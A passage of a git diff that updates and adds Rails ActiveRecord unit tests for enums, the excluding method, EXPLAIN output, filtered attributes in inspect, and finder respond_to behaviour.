   test "enum methods with custom suffix defined" do
-    assert @book.class.respond_to?(:easy_to_read)
-    assert @book.class.respond_to?(:medium_to_read)
-    assert @book.class.respond_to?(:hard_to_read)
+    assert_respond_to @book.class, :easy_to_read
+    assert_respond_to @book.class, :medium_to_read
+    assert_respond_to @book.class, :hard_to_read
 
-    assert @book.respond_to?(:easy_to_read?)
-    assert @book.respond_to?(:medium_to_read?)
-    assert @book.respond_to?(:hard_to_read?)
+    assert_respond_to @book, :easy_to_read?
+    assert_respond_to @book, :medium_to_read?
+    assert_respond_to @book, :hard_to_read?
 
-    assert @book.respond_to?(:easy_to_read!)
-    assert @book.respond_to?(:medium_to_read!)
-    assert @book.respond_to?(:hard_to_read!)
+    assert_respond_to @book, :easy_to_read!
+    assert_respond_to @book, :medium_to_read!
+    assert_respond_to @book, :hard_to_read!
   end
 
   test "update enum attributes with custom suffix" do
     @book.medium_to_read!
-    assert_not @book.easy_to_read?
-    assert     @book.medium_to_read?
-    assert_not @book.hard_to_read?
+    assert_not_predicate @book, :easy_to_read?
+    assert_predicate @book, :medium_to_read?
+    assert_not_predicate @book, :hard_to_read?
 
     @book.easy_to_read!
-    assert     @book.easy_to_read?
-    assert_not @book.medium_to_read?
-    assert_not @book.hard_to_read?
+    assert_predicate @book, :easy_to_read?
+    assert_not_predicate @book, :medium_to_read?
+    assert_not_predicate @book, :hard_to_read?
 
     @book.hard_to_read!
-    assert_not @book.easy_to_read?
-    assert_not @book.medium_to_read?
-    assert     @book.hard_to_read?
+    assert_not_predicate @book, :easy_to_read?
+    assert_not_predicate @book, :medium_to_read?
+    assert_predicate @book, :hard_to_read?
   end
 
   test "uses default status when no status is provided in fixtures" do
     book = books(:tlg)
-    assert book.proposed?, "expected fixture to default to proposed status"
-    assert book.in_english?, "expected fixture to default to english language"
+    assert_predicate book, :proposed?, "expected fixture to default to proposed status"
+    assert_predicate book, :in_english?, "expected fixture to default to english language"
   end
 
   test "uses default value from database on initialization" do
     book = Book.new
-    assert book.proposed?
+    assert_predicate book, :proposed?
   end
 
   test "uses default value from database on initialization when using custom mapping" do
     book = Book.new
-    assert book.hard?
+    assert_predicate book, :hard?
   end
 
   test "data type of Enum type" do
     assert_equal :integer, Book.type_for_attribute("status").type
   end
+
+  test "enum on custom attribute with default" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      attribute :status, default: 2
+      enum :status, [:proposed, :written, :published]
+    end
+
+    assert_equal "published", klass.new.status
+  end
+
+  test "overloaded default by :default" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, [:proposed, :written, :published], default: :published
+    end
+
+    assert_equal "published", klass.new.status
+  end
+
+  test ":_default is invalid in the new API" do
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [:proposed, :written, :published], _default: :published
+      end
+    end
+
+    assert_match(/invalid option\(s\): :_default/, error.message)
+  end
+
+  test ":_prefix is invalid in the new API" do
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [:proposed, :written, :published], _prefix: true
+      end
+    end
+
+    assert_match(/invalid option\(s\): :_prefix/, error.message)
+  end
+
+  test ":_suffix is invalid in the new API" do
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [:proposed, :written, :published], _suffix: true
+      end
+    end
+
+    assert_match(/invalid option\(s\): :_suffix/, error.message)
+  end
+
+  test ":_scopes is invalid in the new API" do
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [:proposed, :written, :published], _scopes: false
+      end
+    end
+
+    assert_match(/invalid option\(s\): :_scopes/, error.message)
+  end
+
+  test ":_instance_methods is invalid in the new API" do
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [:proposed, :written, :published], _instance_methods: false
+      end
+    end
+
+    assert_match(/invalid option\(s\): :_instance_methods/, error.message)
+  end
+
+  test "scopes can be disabled by :scopes" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, [:proposed, :written], scopes: false
+    end
+
+    assert_raises(NoMethodError) { klass.proposed }
+  end
+
+  test "query state by predicate with :prefix" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, { proposed: 0, written: 1 }, prefix: true
+      enum :last_read, { unread: 0, reading: 1, read: 2 }, prefix: :being
+    end
+
+    book = klass.new
+    assert_respond_to book, :status_proposed?
+    assert_respond_to book, :being_unread?
+  end
+
+  test "query state by predicate with :suffix" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :cover, { hard: 0, soft: 1 }, suffix: true
+      enum :difficulty, { easy: 0, medium: 1, hard: 2 }, suffix: :to_read
+    end
+
+    book = klass.new
+    assert_respond_to book, :hard_cover?
+    assert_respond_to book, :easy_to_read?
+  end
+
+  test "enum labels as keyword arguments" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, active: 0, archived: 1
+    end
+
+    book = klass.new
+    assert_predicate book, :active?
+    assert_not_predicate book, :archived?
+  end
+
+  test "option names can be used as label" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, default: 0, scopes: 1, prefix: 2, suffix: 3
+      enum :last_read, { default: 0, scopes: 1, prefix: 2, suffix: 3 }, prefix: "p", suffix: true
+    end
+
+    book = klass.new
+    assert_predicate book, :default?
+    assert_not_predicate book, :scopes?
+    assert_not_predicate book, :prefix?
+    assert_not_predicate book, :suffix?
+
+    assert_predicate book, :p_default_last_read?
+    assert_not_predicate book, :p_scopes_last_read?
+    assert_not_predicate book, :p_prefix_last_read?
+    assert_not_predicate book, :p_suffix_last_read?
+  end
+
+  test "scopes are named like methods" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "cats"
+      enum :breed, { "American Bobtail" => 0, "Balinese-Javanese" => 1 }
+    end
+
+    assert_respond_to klass, :American_Bobtail
+    assert_respond_to klass, :Balinese_Javanese
+  end
+
+  test "capital characters for enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "computers"
+      enum :extendedWarranty, [:extendedSilver, :extendedGold]
+    end
+
+    computer = klass.extendedSilver.build
+    assert_predicate computer, :extendedSilver?
+    assert_not_predicate computer, :extendedGold?
+  end
+
+  test "unicode characters for enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :language, [:🇺🇸, :🇪🇸, :🇫🇷]
+    end
+
+    book = klass.🇺🇸.build
+    assert_predicate book, :🇺🇸?
+    assert_not_predicate book, :🇪🇸?
+  end
+
+  test "mangling collision for enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "computers"
+      enum :timezone, [:"Etc/GMT+1", :"Etc/GMT-1"]
+    end
+
+    computer = klass.public_send(:"Etc/GMT+1").build
+    assert_predicate computer, :"Etc/GMT+1?"
+    assert_not_predicate computer, :"Etc/GMT-1?"
+  end
+
+  test "deserialize enum value to original hash key" do
+    proposed = Struct.new(:to_s).new("proposed")
+    written = Struct.new(:to_s).new("written")
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, { proposed => 0, written => 1 }
+    end
+
+    book = klass.create!(status: 0)
+    assert_equal proposed, book.status
+    assert_predicate book, :proposed?
+    assert_not_predicate book, :written?
+  end
+
+  test "serializable? with large number label" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, ["9223372036854775808", "-9223372036854775809"]
+    end
+
+    type = klass.type_for_attribute(:status)
+
+    assert type.serializable?("9223372036854775808")
+    assert type.serializable?("-9223372036854775809")
+
+    assert_not type.serializable?(9223372036854775808)
+    assert_not type.serializable?(-9223372036854775809)
+
+    book1 = klass.create!(status: "9223372036854775808")
+    book2 = klass.create!(status: "-9223372036854775809")
+
+    assert_equal 0, book1.status_for_database
+    assert_equal 1, book2.status_for_database
+
+    assert_equal book1, klass.where(status: "9223372036854775808").last
+    assert_equal book2, klass.where(status: "-9223372036854775809").last
+  end
+
+  test "enum logs a warning if auto-generated negative scopes would clash with other enum names" do
+    old_logger = ActiveRecord::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+
+    ActiveRecord::Base.logger = logger
+
+    expected_message_1 = "Enum element 'not_sent' in Book uses the prefix 'not_'."\
+      " This has caused a conflict with auto generated negative scopes."\
+      " Avoid using enum elements starting with 'not' where the positive form is also an element."
+
+    Class.new(ActiveRecord::Base) do
+      def self.name
+        "Book"
+      end
+      silence_warnings do
+        enum :status, [:sent, :not_sent]
+      end
+    end
+
+    assert_includes(logger.logged(:warn), expected_message_1)
+  ensure
+    ActiveRecord::Base.logger = old_logger
+  end
+
+  test "enum logs a warning if auto-generated negative scopes would clash with other enum names regardless of order" do
+    old_logger = ActiveRecord::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+
+    ActiveRecord::Base.logger = logger
+
+    expected_message_1 = "Enum element 'not_sent' in Book uses the prefix 'not_'."\
+      " This has caused a conflict with auto generated negative scopes."\
+      " Avoid using enum elements starting with 'not' where the positive form is also an element."
+
+    Class.new(ActiveRecord::Base) do
+      def self.name
+        "Book"
+      end
+      silence_warnings do
+        enum :status, [:not_sent, :sent]
+      end
+    end
+
+    assert_includes(logger.logged(:warn), expected_message_1)
+  ensure
+    ActiveRecord::Base.logger = old_logger
+  end
+
+  test "enum doesn't log a warning if no clashes detected" do
+    old_logger = ActiveRecord::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+
+    ActiveRecord::Base.logger = logger
+
+    Class.new(ActiveRecord::Base) do
+      def self.name
+        "Book"
+      end
+      enum :status, [:not_sent]
+    end
+
+    assert_empty(logger.logged(:warn))
+  ensure
+    ActiveRecord::Base.logger = old_logger
+  end
+
+  test "enum doesn't log a warning if opting out of scopes" do
+    old_logger = ActiveRecord::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+
+    ActiveRecord::Base.logger = logger
+
+    Class.new(ActiveRecord::Base) do
+      def self.name
+        "Book"
+      end
+      silence_warnings do
+        enum :status, [:not_sent, :sent], scopes: false
+      end
+    end
+
+    assert_empty(logger.logged(:warn))
+  ensure
+    ActiveRecord::Base.logger = old_logger
+  end
+
+  test "raises for attributes with undeclared type" do
+    klass = Class.new(Book) do
+    def self.name; "Book"; end
+    enum :typeless_genre, [:adventure, :comic]
+  end
+
+    error = assert_raises(RuntimeError) do
+      klass.type_for_attribute(:typeless_genre)
+    end
+    assert_match "Undeclared attribute type for enum 'typeless_genre' in Book", error.message
+  end
+
+  test "supports attributes declared with a explicit type" do
+    klass = Class.new(Book) do
+      attribute :my_genre, :integer
+      enum :my_genre, [:adventure, :comic]
+    end
+
+    assert_equal :integer, klass.type_for_attribute(:my_genre).type
+  end
+
+  test "default methods can be disabled by :instance_methods" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum :status, [:proposed, :written], instance_methods: false
+    end
+
+    instance = klass.new
+    assert_raises(NoMethodError) { instance.proposed? }
+    assert_raises(NoMethodError) { instance.proposed! }
+  end
 end
diff --git a/activerecord/test/cases/errors_test.rb b/activerecord/test/cases/errors_test.rb
index 73feb831d0499..23c15b76aba90 100644
--- a/activerecord/test/cases/errors_test.rb
+++ b/activerecord/test/cases/errors_test.rb
@@ -1,12 +1,19 @@
-require_relative "../cases/helper"
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/errors"
 
 class ErrorsTest < ActiveRecord::TestCase
   def test_can_be_instantiated_with_no_args
     base = ActiveRecord::ActiveRecordError
     error_klasses = ObjectSpace.each_object(Class).select { |klass| klass < base }
 
-    (error_klasses - [ActiveRecord::AmbiguousSourceReflectionForThroughAssociation]).each do |error_klass|
-      begin
+    expected_to_be_initializable_with_no_args = error_klasses - [
+      ActiveRecord::AmbiguousSourceReflectionForThroughAssociation,
+      ActiveRecord::DeprecatedAssociationError
+    ]
+    assert_nothing_raised do
+      expected_to_be_initializable_with_no_args.each do |error_klass|
         error_klass.new.inspect
       rescue ArgumentError
         raise "Instance of #{error_klass} can't be initialized with no arguments"
diff --git a/activerecord/test/cases/excluding_test.rb b/activerecord/test/cases/excluding_test.rb
new file mode 100644
index 0000000000000..066aa0a0a6d1a
--- /dev/null
+++ b/activerecord/test/cases/excluding_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+class ExcludingTest < ActiveRecord::TestCase
+  fixtures :posts, :comments
+
+  setup { @post = posts(:welcome) }
+
+  def test_result_set_does_not_include_single_excluded_record
+    assert_not_includes Post.excluding(@post),      @post
+    assert_not_includes Post.excluding(@post).to_a, @post
+
+    assert_not_includes Post.without(@post), @post
+  end
+
+  def test_result_set_does_not_include_collection_of_excluded_records
+    relation = Post.excluding(@post, posts(:thinking))
+    assert_not_includes relation, @post
+    assert_not_includes relation, posts(:thinking)
+  end
+
+  def test_result_set_does_not_include_collection_of_excluded_records_from_a_query
+    query = Post.where(id: @post)
+
+    assert_queries_match(/SELECT #{Regexp.escape(quote_table_name("posts.id"))} FROM/) do
+      records = Post.excluding(query).to_a
+
+      assert_not_includes records, @post
+    end
+  end
+
+  def test_result_set_does_not_include_collection_of_excluded_records_from_a_loaded_query
+    query = Post.where(id: @post).load
+
+    records = assert_queries_count 1 do
+      Post.excluding(query).to_a
+    end
+
+    assert_not_includes records, @post
+  end
+
+  def test_result_set_does_not_include_collection_of_excluded_records_and_queries
+    thinking = posts(:thinking)
+
+    records = assert_queries_count 2 do
+      Post.excluding(@post, Post.where(id: thinking)).to_a
+    end
+
+    assert_not_includes records, @post
+    assert_not_includes records, thinking
+  end
+
+  def test_result_set_through_association_does_not_include_single_excluded_record
+    comment_greetings, comment_more_greetings = comments(:greetings, :more_greetings)
+
+    relation = @post.comments.excluding(comment_greetings)
+    assert_not_includes relation, comment_greetings
+    assert_includes     relation, comment_more_greetings
+  end
+
+  def test_result_set_through_association_does_not_include_collection_of_excluded_records
+    comment_greetings, comment_more_greetings = comments(:greetings, :more_greetings)
+
+    relation = @post.comments.excluding([ comment_greetings, comment_more_greetings ])
+    assert_not_includes relation, comment_greetings
+    assert_not_includes relation, comment_more_greetings
+  end
+
+  def test_result_set_through_association_does_not_include_collection_of_excluded_records_from_a_relation
+    relation = @post.comments
+
+    assert_queries_match(/SELECT #{Regexp.escape(quote_table_name("comments.id"))} FROM/) do
+      records = Comment.excluding(relation).to_a
+
+      assert_not_empty records
+      assert_not_empty @post.comments
+      assert_empty records.intersection(@post.comments.to_a)
+    end
+  end
+
+  def test_result_set_through_association_does_not_include_collection_of_excluded_records_from_a_loaded_relation
+    relation = @post.comments.load
+
+    records = assert_queries_count 1 do
+      Comment.excluding(relation).to_a
+    end
+
+    assert_not_empty records
+    assert_not_empty @post.comments
+    assert_empty records.intersection(@post.comments.to_a)
+  end
+
+  def test_does_not_exclude_records_when_no_arguments
+    assert_no_excludes Post.excluding
+    assert_no_excludes Post.excluding(nil)
+    assert_no_excludes Post.excluding([])
+    assert_no_excludes Post.excluding([ nil ])
+  end
+
+  def test_raises_on_record_from_different_class
+    error = assert_raises(ArgumentError) { Post.excluding(@post, comments(:greetings)) }
+    assert_equal "You must only pass a single or collection of Post objects to #excluding.", error.message
+
+    error = assert_raises(ArgumentError) { Post.without(@post, comments(:greetings)) }
+    assert_equal "You must only pass a single or collection of Post objects to #without.", error.message
+  end
+
+  private
+    def assert_no_excludes(relation)
+      assert_includes relation, @post
+      assert_equal Post.count, relation.count
+    end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
index ca87e0401259a..26133a5a2aa7d 100644
--- a/activerecord/test/cases/explain_subscriber_test.rb
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -1,32 +1,33 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_record/explain_subscriber"
 require "active_record/explain_registry"
 
-if ActiveRecord::Base.connection.supports_explain?
+if ActiveRecord::Base.lease_connection.supports_explain?
   class ExplainSubscriberTest < ActiveRecord::TestCase
-    SUBSCRIBER = ActiveRecord::ExplainSubscriber.new
+    SUBSCRIBER = ActiveRecord::ExplainRegistry::Subscriber.new
 
     def setup
       ActiveRecord::ExplainRegistry.reset
-      ActiveRecord::ExplainRegistry.collect = true
+      ActiveRecord::ExplainRegistry.start
     end
 
     def test_collects_nothing_if_the_payload_has_an_exception
       SUBSCRIBER.finish(nil, nil, exception: Exception.new)
-      assert queries.empty?
+      assert_empty queries
     end
 
     def test_collects_nothing_for_ignored_payloads
-      ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
+      ActiveRecord::ExplainRegistry::Subscriber::IGNORED_PAYLOADS.each do |ip|
         SUBSCRIBER.finish(nil, nil, name: ip)
       end
-      assert queries.empty?
+      assert_empty queries
     end
 
     def test_collects_nothing_if_collect_is_false
       ActiveRecord::ExplainRegistry.collect = false
       SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "select 1 from users", binds: [1, 2])
-      assert queries.empty?
+      assert_empty queries
     end
 
     def test_collects_pairs_of_queries_and_binds
@@ -38,14 +39,14 @@ def test_collects_pairs_of_queries_and_binds
       assert_equal binds, queries[0][1]
     end
 
-    def test_collects_nothing_if_the_statement_is_not_whitelisted
+    def test_collects_nothing_if_the_statement_is_not_explainable
       SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "SHOW max_identifier_length")
-      assert queries.empty?
+      assert_empty queries
     end
 
     def test_collects_nothing_if_the_statement_is_only_partially_matched
       SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "select_db yo_mama")
-      assert queries.empty?
+      assert_empty queries
     end
 
     def test_collects_cte_queries
@@ -53,6 +54,11 @@ def test_collects_cte_queries
       assert_equal 1, queries.size
     end
 
+    def test_collects_queries_starting_with_comment
+      SUBSCRIBER.finish(nil, nil, name: "SQL", sql: "/* comment */ select 1 from users")
+      assert_equal 1, queries.size
+    end
+
     teardown do
       ActiveRecord::ExplainRegistry.reset
     end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
index 86fe90ae51e94..b16dd7e7b9065 100644
--- a/activerecord/test/cases/explain_test.rb
+++ b/activerecord/test/cases/explain_test.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/car"
-require "active_support/core_ext/string/strip"
 
-if ActiveRecord::Base.connection.supports_explain?
+if ActiveRecord::Base.lease_connection.supports_explain?
   class ExplainTest < ActiveRecord::TestCase
     fixtures :cars
 
@@ -10,13 +11,13 @@ def base
       ActiveRecord::Base
     end
 
-    def connection
-      base.connection
+    def lease_connection
+      base.lease_connection
     end
 
     def test_relation_explain
-      message = Car.where(name: "honda").explain
-      assert_match(/^EXPLAIN for:/, message)
+      message = Car.where(name: "honda").explain.inspect
+      assert_match(/^EXPLAIN/, message)
     end
 
     def test_collecting_queries_for_explain
@@ -34,13 +35,103 @@ def test_collecting_queries_for_explain
       end
     end
 
+    def test_relation_explain_with_average
+      expected_query = capture_sql {
+        Car.average(:id)
+      }.first
+      message = Car.all.explain.average(:id)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_count
+      expected_query = capture_sql {
+        Car.count
+      }.first
+      message = Car.all.explain.count
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_count_and_argument
+      expected_query = capture_sql {
+        Car.count(:id)
+      }.first
+      message = Car.all.explain.count(:id)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_minimum
+      expected_query = capture_sql {
+        Car.minimum(:id)
+      }.first
+      message = Car.all.explain.minimum(:id)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_maximum
+      expected_query = capture_sql {
+        Car.maximum(:id)
+      }.first
+      message = Car.all.explain.maximum(:id)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_sum
+      expected_query = capture_sql {
+        Car.sum(:id)
+      }.first
+      message = Car.all.explain.sum(:id)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_first
+      expected_query = capture_sql {
+        Car.all.first
+      }.first
+      message = Car.all.explain.first
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query.sub(/LIMIT.*/, ""), message)
+    end
+
+    def test_relation_explain_with_last
+      expected_query = capture_sql {
+        Car.all.last
+      }.first
+      message = Car.all.explain.last
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query.sub(/LIMIT.*/, ""), message)
+    end
+
+    def test_relation_explain_with_pluck
+      expected_query = capture_sql {
+        Car.all.pluck
+      }.first
+      message = Car.all.explain.pluck
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
+    def test_relation_explain_with_pluck_with_args
+      expected_query = capture_sql {
+        Car.all.pluck(:id, :name)
+      }.first
+      message = Car.all.explain.pluck(:id, :name)
+      assert_match(/^EXPLAIN/, message)
+      assert_match(expected_query, message)
+    end
+
     def test_exec_explain_with_no_binds
       sqls    = %w(foo bar)
       binds   = [[], []]
       queries = sqls.zip(binds)
 
       stub_explain_for_query_plans do
-        expected = sqls.map { |sql| "EXPLAIN for: #{sql}\nquery plan #{sql}" }.join("\n")
+        expected = sqls.map { |sql| "#{expected_explain_clause} #{sql}\nquery plan #{sql}" }.join("\n")
         assert_equal expected, base.exec_explain(queries)
       end
     end
@@ -51,37 +142,47 @@ def test_exec_explain_with_binds
       queries = sqls.zip(binds)
 
       stub_explain_for_query_plans(["query plan foo\n", "query plan bar\n"]) do
-        expected = <<-SQL.strip_heredoc
-          EXPLAIN for: #{sqls[0]} [["wadus", 1]]
+        expected = <<~SQL
+          #{expected_explain_clause} #{sqls[0]} [["wadus", 1]]
           query plan foo
 
-          EXPLAIN for: #{sqls[1]} [["chaflan", 2]]
+          #{expected_explain_clause} #{sqls[1]} [["chaflan", 2]]
           query plan bar
         SQL
         assert_equal expected, base.exec_explain(queries)
       end
     end
 
-    def test_unsupported_connection_adapter
-      connection.stub(:supports_explain?, false) do
-        assert_not_called(base.logger, :warn) do
-          Car.where(name: "honda").to_a
-        end
-      end
-    end
-
     private
-
       def stub_explain_for_query_plans(query_plans = ["query plan foo", "query plan bar"])
         explain_called = 0
 
-        connection.stub(:explain, proc { explain_called += 1; query_plans[explain_called - 1] }) do
-          yield
+        # Minitest's `stub` method is unable to correctly replicate method arguments
+        # signature, so we need to do a manual stubbing in this case.
+        metaclass = lease_connection.singleton_class
+        explain_method = metaclass.instance_method(:explain)
+        metaclass.define_method(:explain) do |_arel, _binds = [], _options = {}|
+          explain_called += 1
+          query_plans[explain_called - 1]
+        end
+        yield
+      ensure
+        if metaclass
+          metaclass.undef_method(:explain)
+          metaclass.define_method(:explain, explain_method)
         end
       end
 
       def bind_param(name, value)
         ActiveRecord::Relation::QueryAttribute.new(name, value, ActiveRecord::Type::Value.new)
       end
+
+      def expected_explain_clause
+        if lease_connection.respond_to?(:build_explain_clause)
+          lease_connection.build_explain_clause
+        else
+          "EXPLAIN for:"
+        end
+      end
   end
 end
diff --git a/activerecord/test/cases/filter_attributes_test.rb b/activerecord/test/cases/filter_attributes_test.rb
new file mode 100644
index 0000000000000..df2c8cf9bafad
--- /dev/null
+++ b/activerecord/test/cases/filter_attributes_test.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/admin"
+require "models/admin/user"
+require "models/admin/account"
+require "models/user"
+require "pp"
+
+class FilterAttributesTest < ActiveRecord::TestCase
+  fixtures :"admin/users", :"admin/accounts"
+
+  setup do
+    @previous_filter_attributes = ActiveRecord::Base.filter_attributes
+    ActiveRecord::Base.filter_attributes = [:name]
+    ActiveRecord.use_yaml_unsafe_load = true
+  end
+
+  teardown do
+    ActiveRecord::Base.filter_attributes = @previous_filter_attributes
+  end
+
+  test "filter_attributes" do
+    Admin::User.all.each do |user|
+      assert_includes user.inspect, "name: [FILTERED]"
+      assert_equal 1, user.inspect.scan("[FILTERED]").length
+    end
+
+    Admin::Account.all.each do |account|
+      assert_includes account.inspect, "name: [FILTERED]"
+      assert_equal 1, account.inspect.scan("[FILTERED]").length
+    end
+  end
+
+  test "filter_attributes affects attribute_for_inspect" do
+    Admin::User.all.each do |user|
+      assert_equal "[FILTERED]", user.attribute_for_inspect(:name)
+    end
+  end
+
+  test "string filter_attributes perform partial match" do
+    ActiveRecord::Base.filter_attributes = ["n"]
+    Admin::Account.all.each do |account|
+      assert_includes account.inspect, "name: [FILTERED]"
+      assert_equal 1, account.inspect.scan("[FILTERED]").length
+    end
+  end
+
+  test "regex filter_attributes are accepted" do
+    ActiveRecord::Base.filter_attributes = [/\An\z/]
+    account = Admin::Account.find_by(name: "37signals")
+    assert_includes account.inspect, 'name: "37signals"'
+    assert_equal 0, account.inspect.scan("[FILTERED]").length
+
+    ActiveRecord::Base.filter_attributes = [/\An/]
+    account = Admin::Account.find_by(name: "37signals")
+    assert_includes account.reload.inspect, "name: [FILTERED]"
+    assert_equal 1, account.inspect.scan("[FILTERED]").length
+  end
+
+  test "proc filter_attributes are accepted" do
+    ActiveRecord::Base.filter_attributes = [ lambda { |key, value| value.reverse! if key == "name" } ]
+    account = Admin::Account.find_by(name: "37signals")
+    assert_includes account.inspect, 'name: "slangis73"'
+  end
+
+  test "proc filter_attributes don't prevent marshal dump" do
+    ActiveRecord::Base.filter_attributes = [ lambda { |key, value| value.reverse! if key == "name" } ]
+    account = Admin::Account.new(id: 123, name: "37signals")
+    account.inspect
+    assert_equal account, Marshal.load(Marshal.dump(account))
+  end
+
+  test "filter_attributes could be overwritten by models" do
+    Admin::Account.all.each do |account|
+      assert_includes account.inspect, "name: [FILTERED]"
+      assert_equal 1, account.inspect.scan("[FILTERED]").length
+    end
+
+    begin
+      Admin::Account.filter_attributes = []
+
+      # Above changes should not impact other models
+      Admin::User.all.each do |user|
+        assert_includes user.inspect, "name: [FILTERED]"
+        assert_equal 1, user.inspect.scan("[FILTERED]").length
+      end
+
+      Admin::Account.all.each do |account|
+        assert_not_includes account.inspect, "name: [FILTERED]"
+        assert_equal 0, account.inspect.scan("[FILTERED]").length
+      end
+    ensure
+      Admin::Account.instance_variable_set(:@filter_attributes, nil)
+    end
+  end
+
+  test "filter_attributes should not filter nil value" do
+    account = Admin::Account.new
+
+    assert_includes account.inspect, "name: nil"
+    assert_not_includes account.inspect, "name: [FILTERED]"
+    assert_equal 0, account.inspect.scan("[FILTERED]").length
+  end
+
+  test "filter_attributes should handle [FILTERED] value properly" do
+    User.filter_attributes = ["auth"]
+    user = User.new(token: "[FILTERED]", auth_token: "[FILTERED]")
+
+    assert_includes user.inspect, "auth_token: [FILTERED]"
+    assert_includes user.inspect, 'token: "[FILTERED]"'
+  ensure
+    User.instance_variable_set(:@filter_attributes, nil)
+  end
+
+  test "filter_attributes on pretty_print" do
+    user = admin_users(:david)
+    actual = "".dup
+    PP.pp(user, StringIO.new(actual))
+
+    assert_includes actual, "name: [FILTERED]"
+    assert_equal 1, actual.scan("[FILTERED]").length
+  end
+
+  test "filter_attributes on pretty_print should not filter nil value" do
+    user = Admin::User.new
+    actual = "".dup
+    PP.pp(user, StringIO.new(actual))
+
+    assert_includes actual, "name: nil"
+    assert_not_includes actual, "name: [FILTERED]"
+    assert_equal 0, actual.scan("[FILTERED]").length
+  end
+
+  test "filter_attributes on pretty_print should handle [FILTERED] value properly" do
+    User.filter_attributes = ["auth"]
+    user = User.new(token: "[FILTERED]", auth_token: "[FILTERED]")
+    actual = "".dup
+    PP.pp(user, StringIO.new(actual))
+
+    assert_includes actual, "auth_token: [FILTERED]"
+    assert_includes actual, "token: [FILTERED]"
+  ensure
+    User.instance_variable_set(:@filter_attributes, nil)
+  end
+end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 3eaa993d45cd3..1afc33660356a 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -1,22 +1,24 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 
 class FinderRespondToTest < ActiveRecord::TestCase
   fixtures :topics
 
-  def test_should_preserve_normal_respond_to_behaviour_on_base
+  def test_should_preserve_normal_respond_to_behavior_on_base
     assert_respond_to ActiveRecord::Base, :new
-    assert !ActiveRecord::Base.respond_to?(:find_by_something)
+    assert_not_respond_to ActiveRecord::Base, :find_by_something
   end
 
-  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
-    class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) {}
+  def test_should_preserve_normal_respond_to_behavior_and_respond_to_newly_added_method
+    Topic.singleton_class.define_method(:method_added_for_finder_respond_to_test) { }
     assert_respond_to Topic, :method_added_for_finder_respond_to_test
   ensure
-    class << Topic; self; end.send(:remove_method, :method_added_for_finder_respond_to_test)
+    Topic.singleton_class.remove_method :method_added_for_finder_respond_to_test
   end
 
-  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_standard_object_method
+  def test_should_preserve_normal_respond_to_behavior_and_respond_to_standard_object_method
     assert_respond_to Topic, :to_s
   end
 
